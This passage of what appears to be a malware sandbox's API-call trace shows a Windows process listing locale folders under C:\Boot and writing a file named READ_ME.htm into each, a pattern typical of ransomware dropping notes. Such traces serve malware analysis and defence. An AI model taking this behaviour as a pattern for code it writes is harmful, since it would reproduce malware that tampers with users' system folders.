ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0130.596] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0130.596] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0130.596] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0130.596] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0130.596] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0130.596] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0130.597] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0130.597] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0130.597] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0130.597] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0130.597] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.597] SetErrorMode (uMode=0x0) returned 0x1 [0130.598] GetFullPathNameW (in: lpFileName="C:\\Boot\\cs-CZ", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\cs-CZ", lpFilePart=0x0) returned 0xd [0130.598] SetErrorMode (uMode=0x1) returned 0x0 [0130.599] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*" (normalized: "c:\\boot\\cs-cz\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d38220, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d38220, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.601] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d38220, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d38220, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.601] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d38220, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.601] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d38220, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.601] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.601] SetErrorMode (uMode=0x0) returned 0x1 [0130.601] GetFullPathNameW (in: lpFileName="C:\\Boot\\cs-CZ", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\cs-CZ", lpFilePart=0x0) returned 0xd [0130.602] SetErrorMode (uMode=0x1) returned 0x0 [0130.602] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*" (normalized: "c:\\boot\\cs-cz\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d38220, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d38220, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.602] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d38220, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d38220, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.603] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d38220, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.603] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d38220, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.603] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.603] SetErrorMode (uMode=0x0) returned 0x1 [0130.603] GetFullPathNameW (in: lpFileName="C:\\Boot\\cs-CZ\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d070, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\cs-CZ\\READ_ME.htm", lpFilePart=0x0) returned 0x19 [0130.604] SetErrorMode (uMode=0x1) returned 0x0 [0130.604] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\READ_ME.htm" (normalized: "c:\\boot\\cs-cz\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1bc [0130.604] GetFileType (hFile=0x1bc) returned 0x1 [0130.604] SetErrorMode (uMode=0x0) returned 0x1 [0130.604] GetFileType (hFile=0x1bc) returned 0x1 [0130.605] WriteFile (in: hFile=0x1bc, lpBuffer=0x2858440*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d5d8, lpOverlapped=0x0 | out: lpBuffer=0x2858440*, lpNumberOfBytesWritten=0x21d5d8*=0x720, lpOverlapped=0x0) returned 1 [0130.608] GetFullPathNameW (in: lpFileName="C:\\Boot\\da-DK", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\da-DK", lpFilePart=0x0) returned 0xd [0130.608] SetErrorMode (uMode=0x1) returned 0x0 [0130.608] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*" (normalized: "c:\\boot\\da-dk\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.609] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.609] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.609] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.609] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.609] SetErrorMode (uMode=0x0) returned 0x1 [0130.610] GetFullPathNameW (in: lpFileName="C:\\Boot\\da-DK", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\da-DK", lpFilePart=0x0) returned 0xd [0130.610] SetErrorMode (uMode=0x1) returned 0x0 [0130.610] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*" (normalized: "c:\\boot\\da-dk\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.610] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.610] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.610] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.611] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.611] SetErrorMode (uMode=0x0) returned 0x1 [0130.611] GetFullPathNameW (in: lpFileName="C:\\Boot\\da-DK\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d070, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\da-DK\\READ_ME.htm", lpFilePart=0x0) returned 0x19 [0130.611] SetErrorMode (uMode=0x1) returned 0x0 [0130.611] CreateFileW (lpFileName="C:\\Boot\\da-DK\\READ_ME.htm" (normalized: "c:\\boot\\da-dk\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1bc [0130.612] GetFileType (hFile=0x1bc) returned 0x1 [0130.612] SetErrorMode (uMode=0x0) returned 0x1 [0130.612] GetFileType (hFile=0x1bc) returned 0x1 [0130.613] WriteFile (in: hFile=0x1bc, lpBuffer=0x285e260*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d5d8, lpOverlapped=0x0 | out: lpBuffer=0x285e260*, lpNumberOfBytesWritten=0x21d5d8*=0x720, lpOverlapped=0x0) returned 1 [0130.614] GetFullPathNameW (in: lpFileName="C:\\Boot\\de-DE", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\de-DE", lpFilePart=0x0) returned 0xd [0130.614] SetErrorMode (uMode=0x1) returned 0x0 [0130.614] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*" (normalized: "c:\\boot\\de-de\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.615] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.615] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.615] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.616] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.617] SetErrorMode (uMode=0x0) returned 0x1 [0130.617] GetFullPathNameW (in: lpFileName="C:\\Boot\\de-DE", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\de-DE", lpFilePart=0x0) returned 0xd [0130.617] SetErrorMode (uMode=0x1) returned 0x0 [0130.618] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*" (normalized: "c:\\boot\\de-de\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.618] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.618] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.618] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.618] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.618] SetErrorMode (uMode=0x0) returned 0x1 [0130.619] GetFullPathNameW (in: lpFileName="C:\\Boot\\de-DE\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d070, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\de-DE\\READ_ME.htm", lpFilePart=0x0) returned 0x19 [0130.619] SetErrorMode (uMode=0x1) returned 0x0 [0130.619] CreateFileW (lpFileName="C:\\Boot\\de-DE\\READ_ME.htm" (normalized: "c:\\boot\\de-de\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1bc [0130.620] GetFileType (hFile=0x1bc) returned 0x1 [0130.620] SetErrorMode (uMode=0x0) returned 0x1 [0130.620] GetFileType (hFile=0x1bc) returned 0x1 [0130.621] WriteFile (in: hFile=0x1bc, lpBuffer=0x2864080*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d5d8, lpOverlapped=0x0 | out: lpBuffer=0x2864080*, lpNumberOfBytesWritten=0x21d5d8*=0x720, lpOverlapped=0x0) returned 1 [0130.623] GetFullPathNameW (in: lpFileName="C:\\Boot\\el-GR", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\el-GR", lpFilePart=0x0) returned 0xd [0130.623] SetErrorMode (uMode=0x1) returned 0x0 [0130.623] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*" (normalized: "c:\\boot\\el-gr\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.624] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 